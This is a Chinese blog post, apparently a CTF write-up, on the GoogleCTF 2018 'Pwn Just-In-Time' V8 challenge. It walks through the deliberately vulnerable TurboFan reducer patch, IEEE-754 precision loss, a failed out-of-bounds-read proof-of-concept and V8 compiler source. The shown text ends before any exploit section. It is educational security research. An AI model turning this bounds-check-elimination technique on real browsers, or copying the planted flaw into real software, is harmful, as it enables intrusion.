从一道CTF浅尝V8源码

浏览器安全 2年前 (2022) admin
794 0 0

目录


1.GoogleCTF 2018 – Pwn Just-In-Time

2.调试环境环境搭建

3.题目漏洞分析

4.从失败的POC读V8

5.Exploit

参考


正文

作为刚接触浏览器安全的初学者,我个人选择了从CTF来入手浏览器的漏洞模式和利用姿势,最近看了若干历史的浏览器类题目,印象比较深的是GoogleCTF的题目Pwn just in time,另一个是34C3 CTF的V9,分别涵盖了V8 TurboFan中的两个优化阶段TyperLoweringRedundancyElimination,由于某些错误导致的CheckBoundsCheckMap守卫分别被优化而造成的数组越界和类型混淆问题。这里分享一篇个人调试Pwn just in time的记录,后续有时间再整理另一篇34C3 CTF的V9的调试记录,涉及另一部分优化代码和漏洞模式。这篇也是笔者第一次阅读调试V8代码,虽然查阅了许多资料,但肯定有理解不足或错误的地方还请包涵指正。

Pwn Just-In-Time

题目链接:
https://ctftime.org/task/6982
https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time/

题目给出了两个patch文件,分别关闭了浏览器的sandbox和引入一个优化阶段的漏洞。

环境搭建

调试环境选择了在Visual Studio下,因为我觉得第一次调试肯定会是不断查看各种对象和结构体信息的过程。如下编译windows下的debug版本V8

 1F:Researchchrome2v8v8 (HEAD detached at e0a58f8)
2λ git reset --hard 7.0.276.3
3
4F:Researchchrome2v8v8 (HEAD detached at e0a58f8)
5λ git apply srcoutdefaultpocaddition-reducer.patch
6
7F:Researchchrome2v8v8 (HEAD detached at e0a58f8)
8λ cd src
9
10F:Researchchrome2v8v8src (HEAD detached at e0a58f8)
11λ gn gen --ide=vs2017 outdefault --args="is_debug = true target_cpu = "x64" v8_enable_backtrace = true v8_untrusted_code_mitigations = false is_component_build = true"

补丁分析

看一下题目给的补丁

 1--- a/src/compiler/pipeline.cc
2+++ b/src/compiler/pipeline.cc
3@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
4                                data->jsgraph()->Dead());
5     DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
6                                               data->common(), temp_zone)
;
7+    DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
8+                                              data->common())
;
9
10@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
11                                          data->js_heap_broker(), data->common(),
12                                          data->machine(), temp_zone);
13     AddReducer(data, &graph_reducer, &dead_code_elimination);
14+    AddReducer(data, &graph_reducer, &duplicate_addition_reducer);

TyperLowering中增加了一个新的裁剪器DuplicateAdditionReducer,我对补丁中做了一些注释信息:

 1--- /dev/null
2+++ b/src/compiler/duplicate-addition-reducer.cc
3
4+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
5+  switch (node->opcode()) {
6     // 遍历到IrOpcode为kNumberAdd的node
7+    case IrOpcode::kNumberAdd:
8+      return ReduceAddition(node);
9+    default:
10+      return NoChange();
11+  }
12+}
13
14+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
15    // 检查当前结点的控制、数据、管理 Input的个数
16+  DCHECK_EQ(node->op()->ControlInputCount(), 0);
17+  DCHECK_EQ(node->op()->EffectInputCount(), 0);
18+  DCHECK_EQ(node->op()->ValueInputCount(), 2);
19+
20    // 取出左结点,检查左结点的opcode是否也为kNumberAdd
21+  Node* left = NodeProperties::GetValueInput(node, 0);
22+  if (left->opcode() != node->opcode()) {
23+    return NoChange();
24+  }
25+
26    // 取出右结点,检查右结点的opcode是否为常数类型
27+  Node* right = NodeProperties::GetValueInput(node, 1);
28+  if (right->opcode() != IrOpcode::kNumberConstant) {
29+    return NoChange();
30+  }
31+
32    // 继续取出左结点的左右父节点,要求父右结点的opcode为常数
33+  Node* parent_left = NodeProperties::GetValueInput(left, 0);
34+  Node* parent_right = NodeProperties::GetValueInput(left, 1);
35+  if (parent_right->opcode() != IrOpcode::kNumberConstant) {
36+    return NoChange();
37+  }
38+
39    // 取出右结点、父右结点的常量const1、const2
40+  double const1 = OpParameter<double>(right->op());
41+  double const2 = OpParameter<double>(parent_right->op());
42    // 创建opcode为常量的,且值为const1 + const2,的新结点new_const
43+  Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
44+
45    // 替换当前node的右结点为new_const,左结点为父左结点
46+  NodeProperties::ReplaceValueInput(node, parent_left, 0);
47+  NodeProperties::ReplaceValueInput(node, new_const, 1);
48+
49+  return Changed(node);
50+}

根据补丁信息,是对sea of nodes中当前op为kNumberAdd的node,做了如下4种情况的判断(图片来自Introduction to TurboFan):

从一道CTF浅尝V8源码

当node通过了上述的4种条件的检查,则对状态4的图做如下优化

从一道CTF浅尝V8源码

综上,其实是做了一种类似如下的优化

1n + const1 + const2 => n + (const1 + const2) => n + const3

看似是合法的加法结合顺序的调整,其实引入了浮点数IEEE754编码的精度丢失问题,最终导致了代码执行。

漏洞分析

在d8 shell执行如下代码,可以清晰的看到精度丢失的问题

 1d8> var x = Number.MAX_SAFE_INTEGER + 1
2undefined
3d8> x
49007199254740992
5d8> x + 1
69007199254740992
7d8> 9007199254740993 == 9007199254740992
8true
9d8> x + 2
109007199254740994
11d8> x + 3
129007199254740996
13d8> x + 4 
149007199254740996
15d8> x + 5
169007199254740996
17d8> x + 6
189007199254740998

IEEE-754编码浮点数精度丢失

IEEE-754编码图示

从一道CTF浅尝V8源码

V8使用IEEE-754编码浮点数,这意味着一个数字只有低52bit是用来作为value编码,因此ieee-754的最大值为pow(2, 53) - 1 = 9007199254740991。比这个数值大将会导致精度丢失,如上面在d8 shell中执行的一致。

我们分析一下导致精度丢失的原因。64bit的IEEE-754包括1bit的sign符号位,11bit的exponent指数位,52bit的fraction尾数位。计算IEEE-754数值的value,遵循以下公式

 1// 对introduction to turbofan的公式略作一点修改
2value = (-1)^sign * 2^(e) * fraction
3e = 2^(exponent - bias)
4bias = 1023 (for 64 bits doubles)
5fraction = 2^-0 + bit51*2^-1 + .... bit0*2^-52
6/***************************************************************
7*  关于bias
8*  参考https://yamm.finance/wiki/Exponent_bias.html
9*  For 
a single-precision number, an exponent in the range −126 .. +127 is biased by adding 127 to exponent to get a value in the range 1 .. 254 (0 and 255 have special meanings).
10*  For 
a double-precision number, an exponent in the range −1022 .. +1023 is biased by adding 1023 to exponent to get a value in the range 1 .. 2046 (0 and 2047 have special meanings).
11*  For 
a quad-precision number, an exponent in the range −16382 .. +16383 is biased by adding 16383 to exponent to get a value in the range 1 .. 32766 (0 and 32767 have special meanings).
12***************************************************************/

遵循公式分别计算一下MAX_SAFE_INTEGER,+1,+2,三个数值的内存如下

 1d8> %DumpObjects(Number.MAX_SAFE_INTEGER, 10)
2----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
30x00000b8fffc0ddd0    0x00001f5c50100559    MAP_TYPE    
40x00000b8fffc0ddd8    0x433fffffffffffff    // e=1075
5
6d8>
 %DumpObjects(Number.MAX_SAFE_INTEGER + 1, 10)
7----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
80x00000b8fffc0aec0    0x00001f5c50100559    MAP_TYPE    
90x00000b8fffc0aec8    0x4340000000000000    // e=1076
10
11d8>
 %DumpObjects(Number.MAX_SAFE_INTEGER + 2, 10)
12----- [ HEAP_NUMBER_TYPE : 0x10 ] -----
130x00000b8fffc0de88    0x00001f5c50100559    MAP_TYPE    
140x00000b8fffc0de90    0x4340000000000001        // e=1076
从一道CTF浅尝V8源码

最后计算value,可以使用网站(见参考3, 4, 5)计算如下算式

从一道CTF浅尝V8源码

综上,IEEE-754编码存在精度丢失问题,不能表示9007199254740993等,所以存在本节开始的d8 shell中执行的问题。

题目漏洞

那么结合题目中给出的补丁,会存在如下图示bug

从一道CTF浅尝V8源码

另外,新增的reducer不会更新改变的node的type,导致change后的node的type range仍为之前typer phase计算的(9007199254740992,9007199254740992),而非reducer后导致的node的range实际为(9007199254740994,9007199254740994)。

从失败的POC分析V8源码

Add计算的结果9007199254740994比typer phase计算的range的最大值9007199254740992要大,下面的问题是怎么利用这个bug消除掉CheckBounds的检查?
可以通过typer phase计算的range和数组的length比较,恒为真来消除CheckBounds结点。

这一块踩了很多的坑,因为开始不了解V8里对象的内存存储结构,比如in-line out-of-line descriptor等,也不了解v8的优化规则,后续也是查阅了很多资料,才勉强构造出类似如下的,但还是失败的poc,透过分析这个失败的poc的原因,笔者记录一下”被迫”调试分析一波v8源码的过程

 1let opt_me = (x) => {
2    let arr = new Array(1.1,1.2);
3  let y = ( x==1 ) ? 9007199254740992 : 9007199254740991;
4  y = y + 1 + 1
5  y = y - 9007199254740991// max=1, actual max=3
6  return arr[y];
7}
8
9opt_me(0);
10%OptimizeFunctionOnNextCall(opt_me);
11let res = opt_me(1);
12print(res);

构造如上代码,开始笔者的想法是typer phase阶段计算出行5 yrange(1,1),所以可以优化掉checkbounds,而因为typer lowering阶段引入的bug导致y实际是range(2,3)从而导致越界。
但实际执行最后print的结构都是1.2:(

从一道CTF浅尝V8源码

(1)JIT入口代码浅析

最先引起我怀疑的是并没有执行到DuplicateAdditionReducer裁剪器。补丁中优化器的添加位置在src/compiler/pipeline.cc的1324行,位于struct TypedLoweringPhase{}中,由1981行的bool PipelineImpl::CreateGraph(){}调用。在整个CreateGraph函数中,会运行v8的多种phase

1GraphBuilderPhase
2InliningPhase
3EarlyGraphTrimmingPhase
4TyperPhase
5ConcurrentOptimizationPrepPhase
6CopyMetadataForConcurrentCompilePhase
7TypedLoweringPhase

继续向上梳理数据流,找到调用位置在880行

1PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl(Isolate* isolate)

继续向上src/compiler.cc

1// ----------------------------------------------------------------------------
2// Implementation of OptimizedCompilationJob
3
4CompilationJob::Status OptimizedCompilationJob::PrepareJob(Isolate* isolate)

再向上会发现存在多条调用路径,所以我们在OptimizedCompilationJob::PrepareJob下个断点看一下调用栈

从一道CTF浅尝V8源码

上图中能看到的顶层函数是v8.dll!v8::internal::Runtime_CompileOptimized_NotConcurrent,大概意思是非并行执行编译优化的运行时函数。调用在类似如下的文件中

1// F:Researchchrome2v8v8srcruntimeruntime-compiler.cc #21
2RUNTIME_FUNCTION(Runtime_CompileLazy) {

从文件名大概猜到是JIT代码的文件,顺手搜了下还有那些compiler文件

从一道CTF浅尝V8源码

回到runtime-compiler.cc,有如下运行时函数,有上面断点的入口函数Runtime_CompileOptimized_NotConcurrent

 1RUNTIME_FUNCTION(Runtime_CompileLazy) {
2RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {
3RUNTIME_FUNCTION(Runtime_CompileOptimized_NotConcurrent) {
4RUNTIME_FUNCTION(Runtime_EvictOptimizedCodeSlot) {
5RUNTIME_FUNCTION(Runtime_InstantiateAsmJs) {
6RUNTIME_FUNCTION(Runtime_NotifyStubFailure) {
7RUNTIME_FUNCTION(Runtime_NotifyDeoptimized) {
8RUNTIME_FUNCTION(Runtime_CompileForOnStackReplacement) {
9RUNTIME_FUNCTION(Runtime_TryInstallOptimizedCode) {
10RUNTIME_FUNCTION(Runtime_ResolvePossiblyDirectEval) {

关于Runtime_CompileOptimized_NotConcurrentRuntime_CompileOptimized_Concurrent笔者都有大概走读一遍,逻辑没有很大的区别。这里挑了Runtime_CompileOptimized_Concurrent记录一下走读分析

1RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {
2-->
3     if (!Compiler::CompileOptimized(function, ConcurrencyMode::kConcurrent)) {
4         -->
5             if (!GetOptimizedCode(function, mode).ToHandle(&code)) {

跟入GetOptimizedCode

 1MaybeHandle<Code> GetOptimizedCode(Handle<JSFunction> function,
2                                   ConcurrencyMode mode,
3                                   BailoutId osr_offset = BailoutId::None(),
4                                   JavaScriptFrame* osr_frame = nullptr) {
5  Isolate* isolate = function->GetIsolate();
6  Handle<SharedFunctionInfo> shared(function->shared(), isolate);
7
8  // Make sure we clear the optimization marker on the function so that we
9  // don't try to re-optimize.
10  if (function->HasOptimizationMarker()) {
11    function->ClearOptimizationMarker();
12  }
13
14  Handle<Code> cached_code;
15  // 尝试从缓存中获取优化过的代码
16  if (GetCodeFromOptimizedCodeCache(function, osr_offset)
17          .ToHandle(&cached_code)) {
18        // ....
19  }
20
21   // Reset profiler ticks, function is no longer considered hot.
22   // 应该是cache中没有优化过的代码,这里准备优化,并将当前function设置为不会在hot
23  DCHECK(shared->is_compiled());
24  function->feedback_vector()->set_profiler_ticks(0); 
25
26    /******************************************************************
27    * 下面一行代码,实例化job句柄
28    * NewCompilationJob最后返回的是
29    * return new PipelineCompilationJob(parse_info, shared, function);
30    ***   这个类继承自CompilationJob,其中比较重要的3个函数如下
31    ***   // Prepare the compile job. Must be called on the main thread.
32    ***      MUST_USE_RESULT Status PrepareJob();
33
34    ***   // Executes the compile job. Can be called on a background thread if
35    ***   // can_execute_on_background_thread() returns true.
36    ***      MUST_USE_RESULT Status ExecuteJob();
37
38    ***   // Finalizes the compile job. Must be called on the main thread.
39    ***      MUST_USE_RESULT Status FinalizeJob();
40    * 至此先不做过多跟踪,回到原函数继续分析
41    ******************************************************************/

42    std::unique_ptr<CompilationJob> job(
43        compiler::Pipeline::NewCompilationJob(function, has_script));
44
45    // 继续是如一些条件判断,终止turbofan的编译优化等等
46    // ....
47
48    // 如下代码中,根据Mode,区分执行GetOptimizedCodeLater 或 GetOptimizedCodeNow
49    // 
50    if (mode == ConcurrencyMode::kConcurrent) {
51    if (GetOptimizedCodeLater(job.get())) {
52      job.release();  // The background recompile job owns this now.
53
54      // Set the optimization marker and return a code object which checks it.
55      function->SetOptimizationMarker(OptimizationMarker::kInOptimizationQueue);
56      if (function->IsInterpreted()) {
57        return BUILTIN_CODE(isolate, InterpreterEntryTrampoline);
58      } else {
59        return BUILTIN_CODE(isolate, CheckOptimizationMarker);
60      }
61    }
62  } else {
63    if (GetOptimizedCodeNow(job.get())) return compilation_info->code();
64  }

继续跟读GetOptimizedCodeLater

 1// F:Researchchrome2v8v8srccompiler.cc #556
2bool GetOptimizedCodeLater(CompilationJob* job) {
3
4      // ....
5
6      /******************************************************************
7      *  下一行代码看到上面提及的PrepareJob(),针对继承CompilationJob的不同子类有不同实现,
8      *  除了这里的jit实现了一个,还有在解释器interpreter.cc以及wasm编译器中也分别实现了一个,
9      *  PrepareJob我理解为jit的第一阶段,其中会先根据一些编译选项设置turbo的编译flag,
10      ** 调用如下代码,设置pipelinedata
11      ** data_.set_start_source_position(
12      **        compilation_info()->shared_info()->start_position());
13      ** 继续初始化Linkage,linkage规定类似调用约定?接着调用核心函数如下
14      **      if (!pipeline_.CreateGraph()) {
15      ** 顾名思义,在CreateGraph中创建sea of nodes,这个阶段会调用的一些phase有:
16      *** GraphBuilderPhase // 创建图,具体实现的粗略走读见《introtuction to turbofan》
17      *** InliningPhase     // Perform function context specialization and inlining (if           ***                      enabled).
18      *** EarlyGraphTrimmingPhase // Remove dead->live edges from the graph.
19      *** 
20      *** // Type the graph and keep the Typer running on newly created nodes within
21          // this scope; the Typer is automatically unlinked from the Graph once we
22          // leave this scope below.
23      *** TyperPhase
24      *** TypedLoweringPhase // Lower JSOperators where we can determine types.
25
26      *** // Do some hacky things to prepare for the optimization phase.
27             (caching handles, etc.).
28      *** ConcurrentOptimizationPrepPhase 
29
30      ******************************************************************/

31      if (job->PrepareJob() != CompilationJob::SUCCEEDED) return false;
32
33
34      /******************************************************************
35      * 这里mode是并发的,所以如下一行新起了一个优化线程
36      * 调用栈:
37      ** isolate->optimizing_compile_dispatcher()->QueueForOptimization(job);
38      ** V8::GetCurrentPlatform()->CallOnBackgroundThread(
39             new CompileTask(isolate_, this), v8::Platform::kShortRunningTask);
40      ** OptimizingCompileDispatcher::CompileTask->run()
41      ** dispatcher_->CompileNext(dispatcher_->NextInput(true));
42      ** CompilationJob::Status status = job->ExecuteJob();
43      *
44      * 至此又看到了我们之前提及的ExecuteJob(),其中调用到的phase:
45      **  LoopPeelingPhase、LoopExitEliminationPhase、LoadEliminationPhase、
46      **  EscapeAnalysisPhase、SimplifiedLoweringPhase、UntyperPhase、
47      **  GenericLoweringPhase、EarlyOptimizationPhase、EffectControlLinearizationPhase、
48      **  DeadCodeEliminationPhase、StoreStoreEliminationPhase、
49      **  ControlFlowOptimizationPhase、MemoryOptimizationPhase、LateOptimizationPhase
50      *  
51      ******************************************************************/

52      isolate->optimizing_compile_dispatcher()->QueueForOptimization(job);
53
54      // ....

(2)GraphBuilderPhase

如上的代码走读,找到了构造sea of nodes的入口GraphBuilderPhase,位于PipelineImpl::CreateGraph()中第一个调用的phase,为TurboFan优化的入口phase,从其phase_name()和构造函数大概理解到其功能是将“上层”传入的bytecodes转换为sea of nodesIR

 1// src/compiler/pipeline.cc: 1138
2struct GraphBuilderPhase {
3  static const charphase_name() return "bytecode graph builder"; }
4
5  void Run(PipelineData* data, Zone* temp_zone) {
6    JSTypeHintLowering::Flags flags = JSTypeHintLowering::kNoFlags;
7    if (data->info()->is_bailout_on_uninitialized()) {
8      flags |= JSTypeHintLowering::kBailoutOnUninitialized;
9    }
10    BytecodeGraphBuilder graph_builder(
11        temp_zone, data->info()
->shared_info(),
12        handle(data->info()->closure()->feedback_vector(), data->isolate()),
13        data->info()->osr_offset(), data->jsgraph()CallFrequency(1.0f),
14        data->source_positions(), data->native_context(),
15        SourcePosition::kNotInlined, flags, true,
16        data->info()->is_analyze_environment_liveness())
;
17    graph_builder.CreateGraph();
18  }
19};

跟入graph_builder.CreateGraph(),SetStartSetEnd分别设置Graph中的成员变量_start_end,即为sea of nodes中的start 和 end结点,这个在后续的phase中会用到。这里生成start和end结点的参数一个是common()->Start(actual_parameter_count)(这个参数个数+4是哪几个内置参数我没去追代码了),另一个是common()->End(input_count), input_count, inputs,其中,这里的input_count表示了其父节点的个数,inputs表示其父节点的结构体

从一道CTF浅尝V8源码

通过调试我们看到其父节点的opcode为return,正如sea of nodes所示

从一道CTF浅尝V8源码

代码中间的VisitBytecodes()会循环遍历bytecode指令,调用对应的指令node生成函数,生成对应的node

 1// srccompilerbytecode-graph-builder.cc: 577
2void BytecodeGraphBuilder::CreateGraph() {
3  SourcePositionTable::Scope pos_scope(source_positions_, start_position_);
4
5  // Set up the basic structure of the graph. Outputs for {Start} are the formal
6  // parameters (including the receiver) plus new target, number of arguments,
7  // context and closure.
8  int actual_parameter_count = bytecode_array()->parameter_count() + 4;
9  graph()->SetStart(graph()->NewNode(common()->Start(actual_parameter_count)));
10
11  Environment env(this, bytecode_array()->register_count(),
12                  bytecode_array()->parameter_count(),
13                  bytecode_array()->incoming_new_target_or_generator_register(),
14                  graph()->start())
;
15  set_environment(&env);
16
17  VisitBytecodes();
18
19  // Finish the basic structure of the graph.
20  DCHECK_NE(0u, exit_controls_.size());
21  int const input_count = static_cast<int>(exit_controls_.size());
22  Node** const inputs = &exit_controls_.front();
23  Node* end = graph()->NewNode(common()->End(input_count), input_count, inputs);
24  graph()->SetEnd(end);
25}

如下是poc中opt_me函数的bytecode

从一道CTF浅尝V8源码

VisitBytecodes() -> VisitSingleBytecode() 会遍历每一条指令,并通过switch 宏来调用对应的生成node的函数,如这里遍历到第二条指令,会调用BytecodeGraphBuilder::VisitLdaGlobal()

从一道CTF浅尝V8源码
 1// srccompilerbytecode-graph-builder.cc: 979
2void BytecodeGraphBuilder::VisitLdaGlobal() {
3  PrepareEagerCheckpoint();
4  Handle<Name> name(
5      Name::cast(bytecode_iterator().GetConstantForIndexOperand(0)), isolate());
6  uint32_t feedback_slot_index = bytecode_iterator().GetIndexOperand(1);
7  Node* node =
8      BuildLoadGlobal(name, feedback_slot_index, TypeofMode::NOT_INSIDE_TYPEOF);
9  environment()->BindAccumulator(node, Environment::kAttachFrameState);
10}

此条指令处理后,会继续处理下一条指令,如此遍历bytecode生成对应node

从一道CTF浅尝V8源码


从一道CTF浅尝V8源码


至此,我们粗略的调试了一遍GraphBuilderPhase,对一些基本的结构有些了解。


(3)TyperPhase

经过这个Phase的优化,sea of nodes的结点便都有了Type & Range。代码看TyperPhase中只添加了一个reducerVisitor

 1// srccompilertyper.cc: 348
2void Typer::Run(const NodeVector& roots,
3                LoopVariableOptimizer* induction_vars) {
4  if (induction_vars != nullptr) {
5    induction_vars->ChangeToInductionVariablePhis();
6  }
7  Visitor visitor(this, induction_vars);
8  GraphReducer graph_reducer(zone()graph());
9  graph_reducer.AddReducer(&visitor);
10  for (Node* const root : roots) graph_reducer.ReduceNode(root);
11  graph_reducer.ReduceGraph();
12
13  if (induction_vars != nullptr) {
14    induction_vars->ChangeToPhisAndInsertGuards();
15  }
16}

跟入Typer::Visitor::Reduce,一个switch结构,根据node的opcode调用不同的函数UpdateType()

 1  // srccompilertyper.cc: 66
2  Reduction Reduce(Node* node) override {
3    if (node->op()->ValueOutputCount() == 0return NoChange();
4    switch (node->opcode()) {
5#define DECLARE_CASE(x) 
6  case IrOpcode::k##x:  
7    return UpdateType(node, TypeBinaryOp(node, x##Typer));

8      JS_SIMPLE_BINOP_LIST(DECLARE_CASE)
9#undef DECLARE_CASE
10
11#define DECLARE_CASE(x) 
12  case IrOpcode::k##x:  
13

(3-1) SpeculativeNumberAdd node

跟踪下SpeculateNumberAdd结点的Typer处理,Typer::Visitor::Reduce行94处理

从一道CTF浅尝V8源码

SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V)声明如下,宏展开即DECLARE_CASE(SpeculativeNumberAdd)

 1#define SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V) 
2  V(SpeculativeNumberAdd)                           
3  V(SpeculativeNumberSubtract)                      
4  V(SpeculativeNumberMultiply)                      
5  V(SpeculativeNumberDivide)                        
6  V(SpeculativeNumberModulus)                       
7  V(SpeculativeNumberBitwiseAnd)                    
8  V(SpeculativeNumberBitwiseOr)                     
9  V(SpeculativeNumberBitwiseXor)                    
10  V(SpeculativeNumberShiftLeft)                     
11  V(SpeculativeNumberShiftRight)                    
12  V(SpeculativeNumberShiftRightLogical)             
13  V(SpeculativeSafeIntegerAdd)                      
14  V(SpeculativeSafeIntegerSubtract)

根据上图中DECLARE_CASE的声明,会调用行92UpdateType。先进入TypeBinaryOp(node,x),条件成立最后调用f()

1// srccompilertyper.cc: 393
2Type Typer::Visitor::TypeBinaryOp(Node* node, BinaryTyperFun f) {
3  Type left = Operand(node, 0);
4  Type right = Operand(node, 1);
5  return left.IsNone() || right.IsNone() ? Type::None()
6                                         : f(left, right, typer_);
7}

根据上下文,fSpeculativeNumberAdd,但这里我并没有搜到SpeculativeNumberAdd函数的声明实现,并且调试单步跟入vs会跑丢提示找不到某些文件,所以这里查看f的函数地址,通过反汇编窗口找到代码如下

从一道CTF浅尝V8源码

从反汇编大概可以看到callv8::internal::compiler::OperationTyper::SpeculativeNumberAdd。直接在反汇编断点处查看源码,会发现落到srccompilertyper.cc: 284

从一道CTF浅尝V8源码

原来是通过宏定义的函数,根据宏展开,依旧是找不到SpeculativeNumberAdd。所以我们继续在反汇编窗口跟入call的地址,来到如下位置,这里我们就明白了,v8通过拼接的方式声明了SpeculativeNumberAdd

 1--- F:Researchchrome2v8v8srccompileroperation-typer.cc ------------------
2}
3
4#define SPECULATIVE_NUMBER_BINOP(Name)                         
5  Type OperationTyper::Speculative##Name(Type lhs, Type rhs) { 
6    lhs = SpeculativeToNumber(lhs);                            
7    rhs = SpeculativeToNumber(rhs);                            
8    return Name(lhs, rhs);                                     
9  }

10SPECULATIVE_NUMBER_BINOP(NumberAdd)
1100007FFBA70C3CA0  sub         rsp,88h  
1200007FFBA70C3CA7  mov         rax,rdx  
1300007FFBA70C3CAA  mov         r10,qword ptr [__security_cookie (07FFBA886FE08h)]  
1400007FFBA70C3CB1  xor         r10,rsp  
1500007FFBA70C3CB4  mov         qword ptr [rsp+80h],r10  
1600007FFBA70C3CBC  mov         qword ptr [rsp+78h],r8  
1700007FFBA70C3CC1  mov         qword ptr [rsp+70h],r9  
1800007FFBA70C3CC6  mov         qword ptr [rsp+38h],rcx  
1900007FFBA70C3CCB  mov         rcx,qword ptr [rsp+38h]  
2000007FFBA70C3CD0  mov         r8,qword ptr [lhs]  
2100007FFBA70C3CD5  mov         qword ptr [rsp+60h],r8  
2200007FFBA70C3CDA  mov         r8,qword ptr [rsp+60h]  
2300007FFBA70C3CDF  mov         qword ptr [rsp+30h],rcx  
2400007FFBA70C3CE4  lea         r9,[rsp+68h]  
2500007FFBA70C3CE9  mov         qword ptr [rsp+28h],rdx  
2600007FFBA70C3CEE  mov         rdx,r9  
2700007FFBA70C3CF1  mov         qword ptr [rsp+20h],rax  
2800007FFBA70C3CF6  call        v8::internal::compiler::OperationTyper::SpeculativeToNumber (07FFBA70C7450h)  
2900007FFBA70C3CFB  mov         rax,qword ptr [rsp+68h]  
3000007FFBA70C3D00  mov         qword ptr [lhs],rax  
3100007FFBA70C3D05  mov         rax,qword ptr [rhs]  
3200007FFBA70C3D0A  mov         qword ptr [rsp+50h],rax  
3300007FFBA70C3D0F  mov         r8,qword ptr [rsp+50h]  
3400007FFBA70C3D14  mov         rcx,qword ptr [rsp+30h]  
3500007FFBA70C3D19  lea         rdx,[rsp+58h]  
3600007FFBA70C3D1E  call        v8::internal::compiler::OperationTyper::SpeculativeToNumber (07FFBA70C7450h)  
3700007FFBA70C3D23  mov         rax,qword ptr [rsp+58h]  
3800007FFBA70C3D28  mov         qword ptr [rhs],rax  
3900007FFBA70C3D2D  mov         rax,qword ptr [rhs]  
4000007FFBA70C3D32  mov         qword ptr [rsp+48h],rax

通过上面的代码,我们可以知道,SpeculativeNumberAdd继续调到了NumberAdd,根据如下代码行31调用AddRange()添加range

 1// srccompileroperation-typer.cc: 578
2Type OperationTyper::NumberAdd(Type lhs, Type rhs) {
3  DCHECK(lhs.Is(Type::Number()));
4  DCHECK(rhs.Is(Type::Number()));
5
6  if (lhs.IsNone() || rhs.IsNone()) return Type::None();
7
8  // Addition can return NaN if either input can be NaN or we try to compute
9  // the sum of two infinities of opposite sign.
10  bool maybe_nan = lhs.Maybe(Type::NaN()) || rhs.Maybe(Type::NaN());
11
12  // Addition can yield minus zero only if both inputs can be minus zero.
13  bool maybe_minuszero = true;
14  if (lhs.Maybe(Type::MinusZero())) {
15    lhs = Type::Union(lhs, cache_.kSingletonZero, zone());
16  } else {
17    maybe_minuszero = false;
18  }
19  if (rhs.Maybe(Type::MinusZero())) {
20    rhs = Type::Union(rhs, cache_.kSingletonZero, zone());
21  } else {
22    maybe_minuszero = false;
23  }
24
25  // We can give more precise types for integers.
26  Type type = Type::None();
27  lhs = Type::Intersect(lhs, Type::PlainNumber(), zone());
28  rhs = Type::Intersect(rhs, Type::PlainNumber(), zone());
29  if (!lhs.IsNone() && !rhs.IsNone()) {
30    if (lhs.Is(cache_.kInteger) && rhs.Is(cache_.kInteger)) {
31      type = AddRanger(lhs.Min(), lhs.Max(), rhs.Min(), rhs.Max());
32    } else {
33      if ((lhs.Maybe(minus_infinity_) && rhs.Maybe(infinity_)) ||
34          (rhs.Maybe(minus_infinity_) && lhs.Maybe(infinity_))) {
35        maybe_nan = true;
36      }
37      type = Type::PlainNumber();
38    }
39  }
40
41  // Take into account the -0 and NaN information computed earlier.
42  if (maybe_minuszero) type = Type::Union(type, Type::MinusZero(), zone());
43  if (maybe_nan) type = Type::Union(type, Type::NaN(), zone());
44  return type;
45}

继续看AddRanger,也就清楚了SpeculativeNumberAdd结点的range设置

 1// srccompileroperation-typer.cc: 178
2Type OperationTyper::AddRanger(double lhs_min, double lhs_max, double rhs_min,
3                               double rhs_max) {
4  double results[4];
5  results[0] = lhs_min + rhs_min;
6  results[1] = lhs_min + rhs_max;
7  results[2] = lhs_max + rhs_min;
8  results[3] = lhs_max + rhs_max;
9  // Since none of the inputs can be -0, the result cannot be -0 either.
10  // However, it can be nan (the sum of two infinities of opposite sign).
11  // On the other hand, if none of the "results" above is nan, then the
12  // actual result cannot be nan either.
13  int nans = 0;
14  for (int i = 0; i < 4; ++i) {
15    if (std::isnan(results[i])) ++nans;
16  }
17  if (nans == 4return Type::NaN();
18  Type type = Type::Range(array_min(results, 4), array_max(results, 4), zone());
19  if (nans > 0) type = Type::Union(type, Type::NaN(), zone());
20  // Examples:
21  //   [-inf, -inf] + [+inf, +inf] = NaN
22  //   [-inf, -inf] + [n, +inf] = [-inf, -inf] / NaN
23  //   [-inf, +inf] + [n, +inf] = [-inf, +inf] / NaN
24  //   [-inf, m] + [n, +inf] = [-inf, +inf] / NaN
25  return type;
26}
(3-2) JSCall node

再跟踪下jscall结点的Typer处理,Typer::Visitor::Reduce#75处理

 1#define DECLARE_CASE(x) 
2  case IrOpcode::k##x:  
3    return UpdateType(node, Type##x(node));

4      DECLARE_CASE(Start)
5      DECLARE_CASE(IfException)
6      // VALUE_OP_LIST without JS_SIMPLE_BINOP_LIST:
7      COMMON_OP_LIST(DECLARE_CASE)
8      SIMPLIFIED_COMPARE_BINOP_LIST(DECLARE_CASE)
9      SIMPLIFIED_OTHER_OP_LIST(DECLARE_CASE)
10      JS_SIMPLE_UNOP_LIST(DECLARE_CASE)
11      JS_OBJECT_OP_LIST(DECLARE_CASE)
12      JS_CONTEXT_OP_LIST(DECLARE_CASE)
13      JS_OTHER_OP_LIST(DECLARE_CASE)  //JSCall在这里处理
14#undef DECLARE_CASE

这个处理比较容易跟踪,最终在JSCallTyper处理,可以看到调用Math.random()return Type::PlainNumber();

 1// srccompilertyper.cc#1417
2Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
3  if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) {
4    return Type::NonInternal();
5  }
6  JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction();
7  if (!function.shared().HasBuiltinFunctionId()) {
8    return Type::NonInternal();
9  }
10  switch (function.shared().builtin_function_id()) {
11    case BuiltinFunctionId::kMathRandom:
12      return Type::PlainNumber();
